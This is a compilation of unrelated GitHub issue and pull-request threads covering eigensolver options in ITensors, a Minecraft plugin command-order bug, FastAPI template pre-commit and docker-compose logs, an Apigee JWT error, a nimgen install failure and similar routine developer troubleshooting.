[x] I have commented my code, particularly in hard-to-understand areas.
[ ] I have added tests that verify the behavior of the changes I made.
[x] I have made corresponding changes to the documentation.
[ ] My changes generate no new warnings.
[x] Any dependent changes have been merged and published in downstream modules.

I didn't know about KrylovKit.realeigsolve, that's really cool! That's something I've wanted in multiple projects and wasn't even sure if it was possible/practical to do. @JoeyT1994 this is something we were discussing.
I'll take a look at this PR when I get a chance.

I measured the impact of eigsolve_eager and it is small but noticeable. The following is with eigensolve_krylovdim=10 and eigensolve_maxiter=10 with an already well converged MPS (what I imagine the optimal conditions to measure the impact is). For eight sweeps eigensolve_eager=false took 3726.6s ± 10s and with eigensolve_eager=true took 3592.8s ± 55s

I measured the impact of eigsolve_eager and it is small but noticeable. The following is with eigensolve_krylovdim=10 and eigensolve_maxiter=10 with an already well converged MPS (what I imagine the optimal conditions to measure the impact is). For eight sweeps eigensolve_eager=false took 3726.6s ± 10s and with eigensolve_eager=true took 3592.8s ± 55s

The difference should get larger as you make eigsolve_krylovdim larger.

The difference should get larger as you make eigsolve_krylovdim larger.

That's what I expect as well, but 10 with 10 iterations is already 33x larger than ITensors` default.

The difference should get larger as you make eigsolve_krylovdim larger.

That's what I expect as well, but 10 with 10 iterations is already 33x larger than ITensors` default.

eager only relates to the number of Krylov states per iteration/restart, not the number of iterations/restarts. So it won't reach maxiter even if eager=false if it is converged to tol by the end of an earlier iteration/restart.

eager only relates to the number of Krylov states per iteration/restart, not the number of iterations/restarts. So it won't reach maxiter even if eager=false if it is converged to tol by the end of an earlier iteration/restart.

Gotcha, that makes sense. This is the what slowed down tdvp too right? https://github.com/ITensor/ITensorTDVP.jl/issues/93

@corbett5 could you move this PR over to https://github.com/ITensor/ITensorMPS.jl? All of the MPS/MPO code is over there now.

I'll close this PR since it needs to be moved to the ITensorMPS.jl repository.


Update kirkstone to release 2024.9.0

We from chargebyte have built the yocto image based on this branch and tested the image. From our side it looks good and you are welcome to merge it.


Wrong order of args in teleport command

Order of tab completion when typing /mw teleport command is incorrect.
For example, if you want to teleport Player1 to world_A, the command you should execute is /mw teleport Player1 world_A.
However, if you trust tab-completion in-game and type it in, you will complete the command as follows.
Command: /mw teleport world_A Player1
If the command is /mw teleport arg1 arg2, then World name is suggested in arg1 and Player name is suggested in arg2.
Expected behavior
Player name is suggested in arg1 and World name in arg2.
But, given that shortened commands such as /mw teleport world_A are common and even mentioned in wiki, it may be better to change the actual command behavior.
If change it, the last arg will probably be player name.

Im conflicted because /tp playername location is the vanilla way, but I made /mw teleport so that you could specify more than one player to be teleported. The same applies to /tpp.
However, it's super confusing if you autocomplete both world names and player names for the second argument. I'll fix it so the first argument completes world names and second-onwards player names.

https://ci.mg-dev.eu/job/MyWorlds/191/ that should do it

Thanks for the fix.
Everything seems to be resolved in the latest build.


Failed tests on initilization and unreachable /w Docker-Compose

python3 -m fastapi_template                                                                                 ✔  ccdemo 3.9.10 
Project name: fatemplate
Project description: fatemplate
Removing resources for disabled feature Gitlab CI...
Removing resources for disabled feature Tortoise ORM...
Removing resources for disabled feature Ormar ORM...
Removing resources for disabled feature PsycoPG...
Removing resources for disabled feature MySQL DB...
Removing resources for disabled feature SQLite DB...
cleanup complete!
⭐ Placing resources nicely in your new project ⭐
Resources are happy to be where they are needed the most.
hint: Using 'master' as the name for the initial branch. This default branch name
hint: is subject to change. To configure the initial branch name to use in all
hint: of your new repositories, which will suppress this warning, call:
hint:
hint:   git config --global init.defaultBranch <name>
hint:
hint: Names commonly chosen instead of 'master' are 'main', 'trunk' and
hint: 'development'. The just-created branch can be renamed via this command:
hint:
hint:   git branch -m <name>
Git repository initialized.
Added files to index.
Updating dependencies
Resolving dependencies... (14.9s)

Writing lock file

No dependencies to install or update

Installing the current project: fatemplate (0.1.0)
pre-commit installed at .git/hooks/pre-commit
pre-commit installed.
Check python ast.........................................................Passed
Trim Trailing Whitespace.................................................Failed
- hook id: trailing-whitespace
- exit code: 1
- files were modified by this hook

Fixing fatemplate/web/application.py
Fixing deploy/docker-compose.yml
Fixing fatemplate/settings.py
Fixing fatemplate/web/lifetime.py
Fixing deploy/kube/db.yml

Check Toml...............................................................Passed
Fix End of Files.........................................................Failed
- hook id: end-of-file-fixer
- exit code: 1
- files were modified by this hook

Fixing deploy/docker-compose.yml
Fixing fatemplate/tests/test_dummy.py
Fixing fatemplate/static/docs/swagger-ui-bundle.js
Fixing fatemplate/static/docs/redoc.standalone.js
Fixing fatemplate/tests/test_echo.py
Fixing fatemplate/static/docs/swagger-ui.css

Add trailing commas......................................................Failed
- hook id: add-trailing-comma
- exit code: 1
- files were modified by this hook

Rewriting fatemplate/tests/test_redis.py
Rewriting fatemplate/web/application.py
Rewriting fatemplate/conftest.py
Rewriting fatemplate/db/dao/dummy_dao.py
Rewriting fatemplate/db/utils.py
Rewriting fatemplate/tests/test_echo.py
Rewriting fatemplate/tests/test_dummy.py

Pretty format YAML.......................................................Failed
- hook id: pretty-format-yaml
- exit code: 1
- files were modified by this hook

File deploy/docker-compose.yml is not pretty-formatted
Fixing file deploy/docker-compose.yml
File .github/workflows/tests.yml is not pretty-formatted
Fixing file .github/workflows/tests.yml
File .pre-commit-config.yaml is not pretty-formatted
Fixing file .pre-commit-config.yaml
File deploy/kube/app.yml is not pretty-formatted
Fixing file deploy/kube/app.yml
File deploy/kube/db.yml is not pretty-formatted
Fixing file deploy/kube/db.yml
File deploy/kube/redis.yml is not pretty-formatted
Fixing file deploy/kube/redis.yml

Format with Black........................................................Failed
- hook id: black
- files were modified by this hook

reformatted fatemplate/web/api/dummy/__init__.py
reformatted fatemplate/web/lifetime.py

All done! ✨ 🍰 ✨
2 files reformatted, 2 files left unchanged.
reformatted fatemplate/settings.py

All done! ✨ 🍰 ✨
1 file reformatted, 3 files left unchanged.
reformatted fatemplate/db/migrations/env.py

All done! ✨ 🍰 ✨
1 file reformatted, 3 files left unchanged.
reformatted fatemplate/web/api/monitoring/views.py

All done! ✨ 🍰 ✨
1 file reformatted, 3 files left unchanged.
reformatted fatemplate/web/api/monitoring/__init__.py
reformatted fatemplate/tests/test_fatemplate.py

All done! ✨ 🍰 ✨
2 files reformatted, 2 files left unchanged.
reformatted fatemplate/web/api/docs/views.py
reformatted fatemplate/tests/test_redis.py

All done! ✨ 🍰 ✨
2 files reformatted, 2 files left unchanged.
reformatted fatemplate/web/application.py

All done! ✨ 🍰 ✨
1 file reformatted, 3 files left unchanged.
reformatted fatemplate/conftest.py

All done! ✨ 🍰 ✨
1 file reformatted, 3 files left unchanged.
reformatted fatemplate/web/api/docs/__init__.py
reformatted fatemplate/web/api/echo/__init__.py
reformatted fatemplate/db/utils.py

All done! ✨ 🍰 ✨
3 files reformatted, 1 file left unchanged.
reformatted fatemplate/tests/test_echo.py
reformatted fatemplate/tests/test_dummy.py

All done! ✨ 🍰 ✨
2 files reformatted, 2 files left unchanged.
reformatted fatemplate/web/api/redis/__init__.py

All done! ✨ 🍰 ✨
1 file reformatted, 1 file left unchanged.

autoflake................................................................Failed
- hook id: autoflake
- files were modified by this hook
isort....................................................................Failed
- hook id: isort
- files were modified by this hook

Fixing /home/mano/Desktop/test/fatemplate/fatemplate/web/lifetime.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/tests/test_fatemplate.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/tests/test_redis.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/web/api/docs/views.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/web/application.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/conftest.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/db/dao/dummy_dao.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/web/api/docs/__init__.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/db/utils.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/tests/test_echo.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/tests/test_dummy.py
Fixing /home/mano/Desktop/test/fatemplate/fatemplate/web/api/router.py

Check with Flake8........................................................Passed
Validate types with MyPy.................................................Passed
Remove usless noqa.......................................................Failed
- hook id: yesqa
- exit code: 1
- files were modified by this hook

Rewriting fatemplate/conftest.py

Check python ast.........................................................Passed
Trim Trailing Whitespace.................................................Passed
Check Toml...............................................................Passed
Fix End of Files.........................................................Passed
Add trailing commas......................................................Passed
Pretty format YAML.......................................................Passed
Format with Black........................................................Passed
autoflake................................................................Passed
isort....................................................................Passed
Check with Flake8........................................................Passed
Validate types with MyPy.................................................Passed
Remove usless noqa.......................................................Passed
hint: The '.git/hooks/commit-msg' hook was ignored because it's not set as executable.
hint: You can disable this warning with `git config advice.ignoredHook false`.
Project successfully generated. You can read information about usage in README.md

Building and then running with docker-compose the server is unreachable on localhost:8000 or <IP_ADDRESS>:8000:
Sending build context to Docker daemon  777.3kB
Step 1/9 : FROM python:3.9.6-slim-buster
 ---> e18d3088c48c
Step 2/9 : RUN pip install poetry==1.1.8
 ---> Using cache
 ---> 1c68c5835316
Step 3/9 : RUN poetry config virtualenvs.create false
 ---> Using cache
 ---> 738969c2c64f
Step 4/9 : COPY pyproject.toml poetry.lock /app/src/
 ---> Using cache
 ---> b6024b866e35
Step 5/9 : WORKDIR /app/src
 ---> Using cache
 ---> fb117ba5c837
Step 6/9 : RUN poetry install
 ---> Using cache
 ---> efe0dcf90249
Step 7/9 : COPY . /app/src/
 ---> Using cache
 ---> 298c2bf3d8d7
Step 8/9 : RUN poetry install
 ---> Using cache
 ---> 39f4a9b1f1ad
Step 9/9 : CMD ["/usr/local/bin/python", "-m", "fatemplate"]
 ---> Using cache
 ---> e0af20beef2a
Successfully built e0af20beef2a
Successfully tagged fatemplate:latest
[+] Running 6/6
 ⠿ Network fatemplate_default       Created                                                                                0.0s
 ⠿ Volume "fatemplate-db-data"      Created                                                                                0.0s
 ⠿ Container fatemplate-redis-1     Created                                                                                0.1s
 ⠿ Container fatemplate-db-1        Created                                                                                0.1s
 ⠿ Container fatemplate-migrator-1  Created                                                                                0.2s
 ⠿ Container fatemplate-api-1       Created                                                                                0.1s
Attaching to fatemplate-api-1, fatemplate-db-1, fatemplate-migrator-1, fatemplate-redis-1
fatemplate-db-1        | The files belonging to this database system will be owned by user "postgres".
fatemplate-db-1        | This user must also own the server process.
fatemplate-db-1        |
fatemplate-db-1        | The database cluster will be initialized with locale "en_US.utf8".
fatemplate-db-1        | The default database encoding has accordingly been set to "UTF8".
fatemplate-db-1        | The default text search configuration will be set to "english".
fatemplate-db-1        |
fatemplate-db-1        | Data page checksums are disabled.
fatemplate-db-1        |
fatemplate-db-1        | fixing permissions on existing directory /var/lib/postgresql/data ... ok
fatemplate-db-1        | creating subdirectories ... ok
fatemplate-db-1        | selecting dynamic shared memory implementation ... posix
fatemplate-db-1        | selecting default max_connections ... 100
fatemplate-db-1        | selecting default shared_buffers ... 128MB
fatemplate-db-1        | selecting default time zone ... Etc/UTC
fatemplate-db-1        | creating configuration files ... ok
fatemplate-redis-1     | redis 16:46:16.54
fatemplate-redis-1     | redis 16:46:16.54 Welcome to the Bitnami redis container
fatemplate-redis-1     | redis 16:46:16.54 Subscribe to project updates by watching https://github.com/bitnami/bitnami-docker-redis
fatemplate-redis-1     | redis 16:46:16.54 Submit issues and feature requests at https://github.com/bitnami/bitnami-docker-redis/issues
fatemplate-redis-1     | redis 16:46:16.54
fatemplate-redis-1     | redis 16:46:16.54 INFO  ==> ** Starting Redis setup **
fatemplate-redis-1     | redis 16:46:16.55 WARN  ==> You set the environment variable ALLOW_EMPTY_PASSWORD=yes. For safety reasons, do not use this flag in a production environment.
fatemplate-redis-1     | redis 16:46:16.55 INFO  ==> Initializing Redis
fatemplate-redis-1     | redis 16:46:16.55 INFO  ==> Setting Redis config file
fatemplate-redis-1     | redis 16:46:16.56 INFO  ==> ** Redis setup finished! **
fatemplate-redis-1     |
fatemplate-redis-1     | redis 16:46:16.57 INFO  ==> ** Starting Redis **
fatemplate-redis-1     | 1:C 16 Apr 2022 16:46:16.579 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo
fatemplate-redis-1     | 1:C 16 Apr 2022 16:46:16.579 # Redis version=6.2.5, bits=64, commit=00000000, modified=0, pid=1, just started
fatemplate-redis-1     | 1:C 16 Apr 2022 16:46:16.579 # Configuration loaded
fatemplate-redis-1     | 1:M 16 Apr 2022 16:46:16.579 * monotonic clock: POSIX clock_gettime
fatemplate-redis-1     | 1:M 16 Apr 2022 16:46:16.580 * Running mode=standalone, port=6379.
fatemplate-redis-1     | 1:M 16 Apr 2022 16:46:16.580 # Server initialized
fatemplate-redis-1     | 1:M 16 Apr 2022 16:46:16.580 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
fatemplate-redis-1     | 1:M 16 Apr 2022 16:46:16.580 * Ready to accept connections
fatemplate-db-1        | running bootstrap script ... ok
fatemplate-db-1        | performing post-bootstrap initialization ... ok
fatemplate-db-1        | syncing data to disk ... ok
fatemplate-db-1        |
fatemplate-db-1        |
fatemplate-db-1        | Success. You can now start the database server using:
fatemplate-db-1        |
fatemplate-db-1        |     pg_ctl -D /var/lib/postgresql/data -l logfile start
fatemplate-db-1        |
fatemplate-db-1        | initdb: warning: enabling "trust" authentication for local connections
fatemplate-db-1        | You can change this by editing pg_hba.conf or using the option -A, or
fatemplate-db-1        | --auth-local and --auth-host, the next time you run initdb.
fatemplate-db-1        | waiting for server to start....2022-04-16 16:46:17.100 UTC [47] LOG:  starting PostgreSQL 13.4 (Debian 13.4-1.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
fatemplate-db-1        | 2022-04-16 16:46:17.102 UTC [47] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
fatemplate-db-1        | 2022-04-16 16:46:17.112 UTC [48] LOG:  database system was shut down at 2022-04-16 16:46:16 UTC
fatemplate-db-1        | 2022-04-16 16:46:17.118 UTC [47] LOG:  database system is ready to accept connections
fatemplate-db-1        |  done
fatemplate-db-1        | server started
fatemplate-db-1        | CREATE DATABASE
fatemplate-db-1        |
fatemplate-db-1        |
fatemplate-db-1        | /usr/local/bin/docker-entrypoint.sh: ignoring /docker-entrypoint-initdb.d/*
fatemplate-db-1        |
fatemplate-db-1        | 2022-04-16 16:46:17.322 UTC [47] LOG:  received fast shutdown request
fatemplate-db-1        | waiting for server to shut down....2022-04-16 16:46:17.324 UTC [47] LOG:  aborting any active transactions
fatemplate-db-1        | 2022-04-16 16:46:17.325 UTC [47] LOG:  background worker "logical replication launcher" (PID 54) exited with exit code 1
fatemplate-db-1        | 2022-04-16 16:46:17.325 UTC [49] LOG:  shutting down
fatemplate-db-1        | 2022-04-16 16:46:17.339 UTC [47] LOG:  database system is shut down
fatemplate-db-1        |  done
fatemplate-db-1        | server stopped
fatemplate-db-1        |
fatemplate-db-1        | PostgreSQL init process complete; ready for start up.
fatemplate-db-1        |
fatemplate-db-1        | 2022-04-16 16:46:17.439 UTC [1] LOG:  starting PostgreSQL 13.4 (Debian 13.4-1.pgdg100+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 8.3.0-6) 8.3.0, 64-bit
fatemplate-db-1        | 2022-04-16 16:46:17.439 UTC [1] LOG:  listening on IPv4 address "<IP_ADDRESS>", port 5432
fatemplate-db-1        | 2022-04-16 16:46:17.439 UTC [1] LOG:  listening on IPv6 address "::", port 5432
fatemplate-db-1        | 2022-04-16 16:46:17.442 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
fatemplate-db-1        | 2022-04-16 16:46:17.449 UTC [75] LOG:  database system was shut down at 2022-04-16 16:46:17 UTC
fatemplate-db-1        | 2022-04-16 16:46:17.454 UTC [1] LOG:  database system is ready to accept connections
fatemplate-api-1       | INFO:     Will watch for changes in these directories: ['/app/src']
fatemplate-api-1       | INFO:     Uvicorn running on http://<IP_ADDRESS>:8000 (Press CTRL+C to quit)
fatemplate-api-1       | INFO:     Started reloader process [1] using statreload
fatemplate-migrator-1  | INFO  [alembic.runtime.migration] Context impl PostgresqlImpl.
fatemplate-migrator-1  | INFO  [alembic.runtime.migration] Will assume transactional DDL.
fatemplate-migrator-1  | INFO  [alembic.runtime.migration] Running upgrade  -> 819cbf6e030b, Initial migration.
fatemplate-migrator-1  | INFO  [alembic.runtime.migration] Running upgrade 819cbf6e030b -> 2b7380507a71, Created Dummy Model.
fatemplate-api-1       | INFO:     Started server process [8]
fatemplate-api-1       | INFO:     Waiting for application startup.
fatemplate-migrator-1 exited with code 0
fatemplate-api-1       | INFO:     Application startup complete.

What default configuration are you testing with @s3rius that I could try, or more likely -- I am performing an error at some point?

Hi, thanks for reporting.
I don't see any error. Application startup process completed successfully.
If you want to reach an application from host, please check docker-compose configuration and add missing ports directive like this:
services:
   api:
      ...
      ports:
         - "8000:8000"

After this modification you can reach your app on port 8000.
This template doesn't expose application ports by default.

Please close the issue if your problem was solved.

If your first question was about failed pre-commit tests. Then it's totally okay.
Template runs pre-commit twice to check if all problems were fixed by the firs run of  pre-commit.

I've created an issue (#74)  to fix application availability for local development.

Wonderful @s3rius!
I do not wish to bloat the documentation. Although I. noting the /api/ prefix for the endpoints and II. informing during the initialization script that some tests are expected to fail during the first pass of the pre-commit is something we might consider.
Thanks again, this is a truly great project!

Thanks. I'll add a note about it in docs.


reenable CI notifications

At one time, the defaults for the notifications were annoying. Now they are reasonable and we depend on them being sent.
I reverted to the default, though I'm not sure if we need to set anything to get notifications in the gitter channel. Here's the template if we do need that:
notifications:
  webhooks:
    urls:
    - https://webhooks.gitter.im/e/3b53badb62267d16b33a

For more details, see https://docs.travis-ci.com/user/notifications/

Thanks :) :+1:


Support subscription retrieve

Thanks good gem !
I want to support subscription retrieve method.
Do you have any reason that you cannnot support this ?

hi. Thanks. No reasons, I wanted to use it too last month. Please, add it.

@alexmamonchik
OK , I will !


CIV-7003 updated confirmation message on submission of application

Before creating a pull request make sure that:

[x ] commit messages are meaningful and follow good commit message guidelines
[x ] README and other documentation has been updated / added (if needed)
[x ] tests have been updated / new tests has been added (if needed)
[x ] Screenshot attached for the Evidence of manual testing
[x ] Functional, Smoke and API tests have been run locally
[x ] Full gradle build and run tests with coverage have been completed (if needed)

Please remove this line and everything above and fill the following sections:
JIRA link (if applicable)
https://tools.hmcts.net/jira/browse/CIV-7003
Change description
Confirmation message on submission corrected
Testing branch and instruction
Does this PR introduce a breaking change? (check one with "x")
[ ] Yes
[x ] No


ELF load command address/offset not properly aligned

Solution to issue cannot be found in the documentation.

[X] I checked the documentation.

Issue
FYI: The h59595ed_1 release on conda-forge is now causing this error to appear:
ELF load command address/offset not properly aligned

This problem is discussed at: patchelf Issue #492
The h58526e2_0 build did not have this problem. Both are versioned 0.17.2.
Installed packages
doesn't matter

Environment info
doesn't matter

Thanks for the report! 🙏
It appears this is due to a recent PR ( https://github.com/conda-forge/patchelf-feedstock/pull/40 ), which added new 0.18.0
Previously we marked 0.18.0 builds broken ( https://github.com/conda-forge/admin-requests/pull/746 )
Am guessing this is contained to the Linux builds (as we've seen before) and the recently added macOS builds are ok
Could you please send a new PR to admin-requests (like the one linked above) marking the Linux packages broken?


getting  error url generator

Fatal error: Class 'HappyR\LinkedIn\Http\UrlGenerator' not found in F:\xampp\htdocs\test9\HappyR\LinkedIn\LinkedIn.php on line 110
i using it in core php ,why i am facing this problem,or i calling wrong in php so help me how call in core php

hi Nyholm,
is that in the new class added(branch master [Authenticator.php etc. ...]) you can update a token because I own a lifetime 60mn this token .
thank you for your help


Will the train code be released?

Thanks for sharing this excellent work, is it easy to train the model on my custom video dataset?

Yes, I am planning to clean up and release the training code after the NIPS deadline. So please check back in early June.

Thanks for that~~

周老兄，你这个是CVPR oral了，还能投NIPS吗？

@daleydeng Hello, currently you can refer the https://github.com/mrharicot/monodepth/blob/master/monodepth_model.py   they are almost the same.

wait until  early June.

Hi @tinghuiz,
Great work. I'm also looking forward to the training code release.
Cheers!

My current estimate of training code release is around June 10. Have been busy with some other matters. Sorry about the delay.

Training code has been released.


⚠ ClamAV has degraded performance

In 715d715, ClamAV (https://spamassassin.apache.org/) experienced degraded performance:

HTTP code: 200
Response time: 91 ms

Resolved: ClamAV performance has improved in a3ff36d.


Some courses not visible or showing wrong timings

There are three levels at which courses might not make it to being available for choice during the parsing of the Course Schedule PDF file provided by DOAA IITK:

No timings are available for the course, so the implementation choice was to ignore them entirely (154 such courses in 2023-24 II)
Some courses have a few times, and email addresses are present on the next page of the PDF, which is currently not handled.
Some courses share the common base name (CHM113, I'm looking at you), leading to dropping of their uniqueness currently.

This leads to courses like UGPs, thesis presentations, a few common courses like EE340, and a very few modular courses not being accounted for.

The course scheduler pdf is parsed by read_pdf.py, which generates the json file all_courses.json and log parse.log. The log file would show you details about each courses that were missed in taking account for and the reasons for the same. You may manually add/edit the courses to the json file to force including the missing courses, but I am working on fixing this inconvenience.


Websockets Error when deploying with meteor-up (Ubuntu 14.04) Use Aliyun

Hi,
I'm using meteor-up when deploying to my Ubuntu 14.04 server and the handshake is failing for websockets with a 400 error.
Here is the exact error:
WebSocket connection to 'ws://<IP_ADDRESS>:7788/sockjs/505/qx52a1w_/websocket' failed: Error during WebSocket handshake: Unexpected response code: 400
It deploys perfectly fine, it doesn't throw out any errors either.
Any idea what could be going on?
Here is my mup.json config, it's fairly simple
{
"servers": [
{
"host": "",
"password": "",
"username": "root"
}
],
"setupMongo": true,
"enableUploadProgressBar": true,
"setupNode": true,
"nodeVersion": "0.10.40",
"setupPhantom": true,
"appName": "",
"app": "/Users/niko/www/meteor/test",
"env": {
"PORT" : 7788,
"ROOT_URL": "http://<IP_ADDRESS>/"
},
"deployCheckWaitTime": 150
}
http://<IP_ADDRESS>:7788/

What is going on with the last line exactly? 7788?
Looks like that wrong. Is it in the settings too or is it a link?

I disabled cloudflare on the domain hosting app and after that error 400s disappeared.
Try that?


Code cleanup part 1

moved the beast org.broadinstitute.hail.Utils to org.broadinstitute.hail.utils, mostly into the package object but also split out classes to other files in that package.

jenkins


Issue with JWT Example

When attempting to create a JWT token, I'm getting a 500.
./apigee-istio token create -o {org} -e {env} -i {key_from_handler} -s {secret_from_handler}
Executing it as a curl, I get
{"fault":{"faultstring":"XMLToJSON[Products-to-JSON]: Source AccessEntity.ChildNodes.Access-App-Info.App.Credentials.Credential.ApiProducts is not available","detail":{"errorcode":"steps.xml2json.SourceUnavailable"}}}
Also, I assumed this https://{your organization}-{your environment}.apigee.net/istio-auth/token GET endpoint would return a token, but instead, I get an invalid request error.

Can you try this release: https://github.com/apigee/istio-mixer-adapter/releases/tag/1.0.3-2? Hopefully it addresses your issue.

I'm still getting the same error with that release.

Oh for the creating of the jwt I used POST.
Here's the output with the verbose flag.

root@pks-client:~/apigee/1.0.3# ./apigee-istio token create -o zohaibkhan-eval -e prod -i {redacted} -s {redacted} --verbose
POST /istio-auth/token HTTP/1.1
Host: zohaibkhan-eval-prod.apigee.net
User-Agent: Go-http-client/1.1
Content-Length: 198
Accept: application/json
Content-Type: application/json
Accept-Encoding: gzip
{"client_id":"{redacted}","client_secret":"{redacted}","grant_type":"client_credentials"}
HTTP/1.1 500 Internal Server Error
Content-Length: 217
Connection: keep-alive
Content-Type: application/json
Date: Wed, 19 Dec 2018 23:30:15 GMT
{"fault":{"faultstring":"XMLToJSON[Products-to-JSON]: Source AccessEntity.ChildNodes.Access-App-Info.App.Credentials.Credential.ApiProducts is not available","detail":{"errorcode":"steps.xml2json.SourceUnavailable"}}}
error creating token: error creating token: POST https://zohaibkhan-eval-prod.apigee.net/istio-auth/token: 500

The GET that I was trying was for this part of the authentication-policy.yaml

jwt:
issuer: https://redacted-redacted.apigee.net/istio-auth/token
jwks_uri: https://redacted-redacted.apigee.net/istio-auth/certs

My assumption is that performing a GET on these endpoints retrieves data. The jwks_uri does return a JSON with the keys while the issuer returns the following JSON.

{
"error":"invalid_request",
"error_description": "invalid request"
}

When you updated your release, did you run the provision with the --forceProxyInstall flag?


Fix calculateHashCode to use general trait rather than class name

If class names are compared instead, reach crashes in MentionFilter.synPathContainsTrigger.  It is getting an unexpected mention there which has a synPath of None.  I'm not sure whether it should just be more careful there or whether the hash code is solely to blame.  This fixes the breaking problem, though.

Some tests are failing...

Interesting.  It passed on one version of Scala but not the other.  This version fails processors but passes reach.  The other way passed processors but failed reach.  I'll get to the bottom of it soon.

More interesting.  This fails in TestTokenizers on code like
    println("coreTime = " + coreTime)
    println("cluTime = " + cluTime)

    // TODO: this is true when the test is run as standalone; but fails when run part of "sbt test"
    (coreTime > cluTime) should be (true)

The values for sbt 2.12.4 were
coreTime = 122
cluTime = 215

On sbt 2.11.11, it got
coreTime = 92
cluTime = 22

I think this has happened before and resubmitting has produced, partly by chance, values that satisfied the condition.  Perhaps the server just got busy at an untimely moment.  I'm rerunning the tests.

The timing constraint was met on the second run without any code changes.

Thanks!


"sh: 1: nimgen: not found" when installing

I tried the command suggested in the readme but it gets me sh: 1: nimgen: not found. I've tried adding ~/.nimble/bin to PATH but it still failed. Then added --verbose to get some more detail if it helps. Here's my output:
$ nimble install --verbose nimclipboard
    Reading official package list
Downloading https://github.com/genotrance/nimclipboard using git
    Cloning latest tagged version: v0.1.2
 Attempting to execute hook installBefore in /tmp/nimble_12616/githubcom_genotrancenimclipboard/nimclipboard.nimble
Downloading https://github.com/genotrance/nimgen using git
  Verifying dependencies for<EMAIL_ADDRESS>      Info: Dependency on c2nim@>= 0.9.14 already satisfied
  Verifying dependencies for<EMAIL_ADDRESS>      Info: Dependency on regex@>= 0.10.0 already satisfied
  Verifying dependencies for<EMAIL_ADDRESS>      Info: Dependency on unicodedb@>= 0.7.2 already satisfied
  Verifying dependencies for<EMAIL_ADDRESS> Installing<EMAIL_ADDRESS>   Building nimgen/nimgen using c backend
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/external.nim(1, 27) Warning: imported and not used: 'streams' [UnusedImport]
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/file.nim(1, 18) Warning: imported and not used: 'regex' [UnusedImport]
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(49, 20) Warning: Use `re` instead; toPattern is deprecated [Deprecated]
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(92, 29) Warning: Use `re` instead; toPattern is deprecated [Deprecated]
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(97, 25) Warning: Use `re` instead; toPattern is deprecated [Deprecated]
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(290, 20) template/generic instantiation of `runFile` from here
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(49, 20) Warning: Use `re` instead; toPattern is deprecated [Deprecated]
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(290, 20) template/generic instantiation of `runFile` from here
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(92, 29) Warning: Use `re` instead; toPattern is deprecated [Deprecated]
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(290, 20) template/generic instantiation of `runFile` from here
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen/runcfg.nim(97, 25) Warning: Use `re` instead; toPattern is deprecated [Deprecated]
/tmp/nimble_12672/githubcom_genotrancenimgen/src/nimgen.nim(1, 8) Warning: imported and not used: 'os' [UnusedImport]
    Prompt<EMAIL_ADDRESS>already exists. Overwrite? -> [forced yes]
   Success: nimgen installed successfully.
sh: 1: nimgen: not found
stack trace: (most recent call last)
/tmp/nimblecache-2509520141/nimscriptapi_3622363839.nim(199, 29)
/tmp/nimble_12616/githubcom_genotrancenimclipboard/nimclipboard.nimble(27, 12) installBefore
/tmp/nimble_12616/githubcom_genotrancenimclipboard/nimclipboard.nimble(24, 8) setupTask
/usr/lib/nim/lib/system/nimscript.nim(260, 7) exec
/usr/lib/nim/lib/system/nimscript.nim(260, 7) Error: unhandled exception: FAILED: nimgen nimclipboard.cfg [OSError]
     Error: Exception raised during nimble script execution

Some further info:
$ nim --version
Nim Compiler Version 1.4.8 [Linux: amd64]
Compiled at 2021-05-27
Copyright (c) 2006-2021 by Andreas Rumpf

active boot switches: -d:release -d:danger
$ nimble --version
nimble v0.12.0 compiled at 2021-05-27 05:29:41
git hash: couldn't determine git hash
$ uname -msr
Linux 5.11.14-gnu_1 x86_64
$ grep DIST /etc/os-release
DISTRIB_ID="void"

I have the same problem. Is there a solution?

nimgen is no longer maintained - I'm happy to accept PRs though.


Build fail in TravisCI from v1.5.1 on (zend/exception_handler.cpp - ‘tsrm_ls’ was not declared in this scope)

Trying to build a php extension made with PHP-CPP on Travis CI with this configuration ends good with v1.5 and fail from v1.5.1 and on with several errors in zend/exception_handler.cpp
All the errors seems related to thread safety, the usage of macro EG raises ‘tsrm_ls’ was not declared in this scope.
.travis.yml
language: php

php:
  - 5.4
  - 5.5
  - 5.6

before_install:
  - sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test
  - sudo apt-get update -qq
  - composer self-update

install:
  - sudo apt-get install -qq g++-4.8 uuid-dev build-essential autoconf php5-dev
  - sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-4.8 90

script:
  - git clone git://github.com/CopernicaMarketingSoftware/PHP-CPP.git && ( cd PHP-CPP; make -j4 && sudo make install && sudo ldconfig && cd ..)

Thanks for reporting, it was indeed not possible to compile PHP-CPP on a multi-threading environment.


Exception updating ToMany relations

